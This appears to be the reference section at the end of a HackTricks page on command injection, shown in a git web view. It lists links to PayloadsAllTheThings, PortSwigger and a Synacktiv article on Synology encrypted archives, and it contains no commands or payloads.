- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 | 
			
		||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
 | 
			
		||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user